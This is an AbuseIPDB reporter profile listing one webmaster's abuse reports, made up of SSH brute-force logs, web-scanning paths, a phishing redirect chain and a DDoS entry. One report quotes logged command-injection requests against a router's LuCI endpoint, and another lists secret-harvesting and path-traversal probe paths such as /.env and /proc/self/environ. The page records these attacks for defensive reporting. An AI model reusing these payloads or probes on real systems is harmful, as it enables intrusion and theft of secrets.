AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

The webmaster of jeffweb.net joined AbuseIPDB in July 2024 and has reported 13 IP addresses.

Standing (weight) is good.

ACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇺🇸 35.231.194.226	20 hours ago	- Secret harvesting: `/.env`, `/.env.local`, `/.env.production`, `/.env.supabase`, `/settings/crede ... show more - Secret harvesting: `/.env`, `/.env.local`, `/.env.production`, `/.env.supabase`, `/settings/credentials`, `/settings/api-keys`, `/tokens` - Path traversal / local file read: `/@fs/proc/self/environ`, `/api/orders/..%2f..%2f.env`, `/userfiles?path=../../../../.env` - Admin/auth discovery: `/admin`, `/admin/login`, `/dashboard`, `/login`, `/signin`, `/register`, `/reset-password` - API/source-map enumeration: `/v1/graphql`, `/api/graphql`, `/graphql`, `/_next/server`, `/_astro/...mjs.map`, `/pages/index.astro.mjs.map` - Suspicious debug/random probes: `/z9x8c7v6b5-debug-trigger-jeffwebcs.com`, `/we3e0003ti0jyrjc4tuu` show less	Bad Web Bot Web App Attack Hacking
🇯🇵 20.63.209.182	14 Feb 2026	本规则基于 /wp-content/ 下的特定文件名或文件后缀拦截尝试探测wordpress的插件、漏洞及日志使用情况的恶意请求观察 2026-02-10 07:36:04 27	Brute-Force
🇳🇱 80.82.77.202	26 Oct 2024	80.82.77.202 - - [26/Oct/2024:14:12:19 +0000] ＂GET / HTTP/1.0＂ 301 162 ＂-＂＂SonyEricssonK610i/R1CB B ... show more 80.82.77.202 - - [26/Oct/2024:14:12:19 +0000] ＂GET / HTTP/1.0＂ 301 162 ＂-＂＂SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1＂ show less	Web App Attack
🇧🇷 187.72.83.169	05 Oct 2024	steam ssh:notty 187.72.83.169 Sat Oct 5 15:07 - 15:07 (00:00) steam ssh:notty 187. ... show more steam ssh:notty 187.72.83.169 Sat Oct 5 15:07 - 15:07 (00:00) steam ssh:notty 187.72.83.169 Sat Oct 5 15:07 - 15:07 (00:00) dev ssh:notty 187.72.83.169 Sat Oct 5 15:06 - 15:06 (00:00) dev ssh:notty 187.72.83.169 Sat Oct 5 15:06 - 15:06 (00:00) debian ssh:notty 187.72.83.169 Sat Oct 5 15:05 - 15:05 (00:00) debian ssh:notty 187.72.83.169 Sat Oct 5 15:05 - 15:05 (00:00) user1 ssh:notty 187.72.83.169 Sat Oct 5 15:05 - 15:05 (00:00) user1 ssh:notty 187.72.83.169 Sat Oct 5 15:05 - 15:05 (00:00) root ssh:notty 187.72.83.169 Sat Oct 5 15:04 - 15:04 (00:00) root ssh:notty 187.72.83.169 Sat Oct 5 15:03 - 15:03 (00:00) root ssh:notty 187.72.83.169 Sat Oct 5 15:02 - 15:02 (00:00) deploy ssh:notty 187.72.83.169 Sat Oct 5 15:01 - 15:01 (00:00) deploy ssh:notty 187.72.83.169 Sat Oct 5 15:01 - 15:01 (00:00) show less	SSH
🇦🇺 209.38.28.3	05 Oct 2024	webdev ssh:notty 209.38.28.3 Sat Oct 5 01:06 - 01:06 (00:00) root ssh:notty 209. ... show more webdev ssh:notty 209.38.28.3 Sat Oct 5 01:06 - 01:06 (00:00) root ssh:notty 209.38.28.3 Sat Oct 5 01:06 - 01:06 (00:00) rancher ssh:notty 209.38.28.3 Sat Oct 5 01:06 - 01:06 (00:00) rancher ssh:notty 209.38.28.3 Sat Oct 5 01:06 - 01:06 (00:00) test ssh:notty 209.38.28.3 Sat Oct 5 01:06 - 01:06 (00:00) test ssh:notty 209.38.28.3 Sat Oct 5 01:06 - 01:06 (00:00) root ssh:notty 209.38.28.3 Sat Oct 5 01:06 - 01:06 (00:00) mehdi ssh:notty 209.38.28.3 Sat Oct 5 01:06 - 01:06 (00:00) mehdi ssh:notty 209.38.28.3 Sat Oct 5 01:06 - 01:06 (00:00) chris ssh:notty 209.38.28.3 Sat Oct 5 01:06 - 01:06 (00:00) chris ssh:notty 209.38.28.3 Sat Oct 5 01:06 - 01:06 (00:00) admin ssh:notty 209.38.28.3 Sat Oct 5 01:06 - 01:06 (00:00) admin ssh:notty 209.38.28.3 Sat Oct 5 01:06 - 01:06 (00:00) show less	SSH
🇺🇸 143.244.168.161	04 Oct 2024	10 scanning attempt for http://*:80/.DS_Store http://:80/.env http://**:80/.git/config ...	Web App Attack
🇳🇱 185.224.128.59	30 Sep 2024	401 574 ＂-＂＂Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome ... show more 401 574 ＂-＂＂Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36＂ 185.224.128.59 - - [29/Sep/2024:16:34:41 -0400] ＂GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1＂ 301 162 ＂-＂＂Go-http-client/1.1＂ 185.224.128.59 - - [29/Sep/2024:16:34:42 -0400] ＂GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done% show less	SQL Injection Web App Attack
🇳🇱 139.45.197.242	17 Sep 2024	https://veepteero.com/partitial/5117854?var=6118780&ab2r=2300100&prfrev=false&rhd=false&sf=1 -> http ... show more https://veepteero.com/partitial/5117854?var=6118780&ab2r=2300100&prfrev=false&rhd=false&sf=1 -> https://binomo.com/en-en?a=e7dcf8421c18&ac=iqfallback (JS CODE POP-UPs) -> https://oovaufty.com/?rzi=6263431&rsz=6263431&rid= -> https://oovaufty.com/feed https://veepteero.com/afu.php?zoneid=6118780&var=6118780&rid=33-IJ2mCiw9DGbmF2LWarg%3D%3D&rhd=false&ab2r=2300100&sf=1&os=windows&os_version=10.0.0&is_mobile=false&browser_version=128.0.2739.79 -> https://hibt.com/d182/0e85/index.html https://veepteero.com/afu.php?zoneid=6118780&var=6118780&rid=33-IJ2mCiw9DGbmF2LWarg%3D%3D&rhd=false&ab2r=2300100&sf=1&os=windows&os_version=10.0.0&is_mobile=false&browser_version=128.0.2739.79 -> https://www.biconomy.com/911c/2ab6/index.html https://veepteero.com/afu.php?zoneid=6118780&var=6118780&rid=33-IJ2mCiw9DGbmF2LWarg%3D%3D&rhd=false&ab2r=2300100&sf=1&os=windows&os_version=10.0.0&is_mobile=false&browser_version=128.0.2739.79 -> https://www.mexc.com/d4b4/1c7b/index.html show less	Phishing
🇺🇸 199.115.229.53	01 Sep 2024	root ssh:notty 199.115.229.53 Sun Sep 1 14:22 - 14:22 (00:00) root ssh:notty 199. ... show more root ssh:notty 199.115.229.53 Sun Sep 1 14:22 - 14:22 (00:00) root ssh:notty 199.115.229.53 Sun Sep 1 14:22 - 14:22 (00:00) root ssh:notty 199.115.229.53 Sun Sep 1 14:22 - 14:22 (00:00) root ssh:notty 199.115.229.53 Sun Sep 1 14:22 - 14:22 (00:00) root ssh:notty 199.115.229.53 Sun Sep 1 14:22 - 14:22 (00:00) show less	SSH
🇨🇳 180.101.88.228	01 Sep 2024	root ssh:notty 180.101.88.228 Sun Sep 1 14:22 - 14:22 (00:00) root ssh:notty 180. ... show more root ssh:notty 180.101.88.228 Sun Sep 1 14:22 - 14:22 (00:00) root ssh:notty 180.101.88.228 Sun Sep 1 14:22 - 14:22 (00:00) root ssh:notty 180.101.88.228 Sun Sep 1 14:22 - 14:22 (00:00) root ssh:notty 180.101.88.228 Sun Sep 1 14:21 - 14:21 (00:00) root ssh:notty 180.101.88.228 Sun Sep 1 14:21 - 14:21 (00:00) root ssh:notty 180.101.88.228 Sun Sep 1 14:21 - 14:21 (00:00) root ssh:notty 180.101.88.228 Sun Sep 1 14:20 - 14:20 (00:00) root ssh:notty 180.101.88.228 Sun Sep 1 14:20 - 14:20 (00:00) root ssh:notty 180.101.88.228 Sun Sep 1 14:20 - 14:20 (00:00) root ssh:notty 180.101.88.228 Sun Sep 1 14:18 - 14:18 (00:00) root ssh:notty 180.101.88.228 Sun Sep 1 14:18 - 14:18 (00:00) root ssh:notty 180.101.88.228 Sun Sep 1 14:18 - 14:18 (00:00) root ssh:notty 180.101.88.228 Sun Sep 1 14:17 - 14:17 (00:00) show less	SSH
🇯🇵 160.248.191.8	30 Aug 2024	DDoS attack from 160.248.191.8, http content =text/html;charset=utf-8, Browser UA=Mozilla/5.0 (Windo ... show more DDoS attack from 160.248.191.8, http content =text/html;charset=utf-8, Browser UA=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 show less	DDoS Attack